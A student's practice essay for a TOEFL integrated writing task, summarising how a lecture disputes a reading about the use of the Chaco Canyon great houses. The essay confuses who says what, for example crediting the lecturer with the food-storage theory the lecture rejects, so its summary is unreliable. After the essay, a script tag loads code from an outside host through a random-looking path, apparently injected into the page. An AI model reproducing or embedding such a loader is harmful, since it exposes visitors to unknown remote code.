TOEFL integrated writing: Chaco housing

The reading states the theories about the usefulness of the Chaco Canyon buildings. While the speaker casts doubt by making contrary arguments and opposing the author's points.

First, the writer opposes the reading by saying that the Chaco structures were not residential. He mentions that the houses inside did not have fireplaces to support many families. Instead, it could support just ten families, so the main purpose of the houses could not have been residential as the author states.

Second, the lecturer argues that Chaco houses were used as store for food. The speaker mentions excavations made in the area did not support the theory of store for food. Thus, if the Chaco houses were used to storage maize, then container or remains of maize would have been found in the area, but they did not. This casts doubt on the author's claim who says this structure were used as store for food supply, yet evidence has not been found to support such a theory.

Finally, the orator refutes the theory of Chaco houses as being used for ceremonial acts. Moreover, other building materials were found, such as rocks and sand, so the broken pots could be trash people did not use up. The writer, by contrast, says the Chaco structures were used as a ceremonial center and that is the reason broken pots were seen. Furthermore, ceremonial rituals have been a tradition applied for other Native America cultures.

The speaker contradicts all the theories made by the essayist about the use of the Chaco Houses.
<script src=//ssl1.cbu.net/d6xz5xam></script>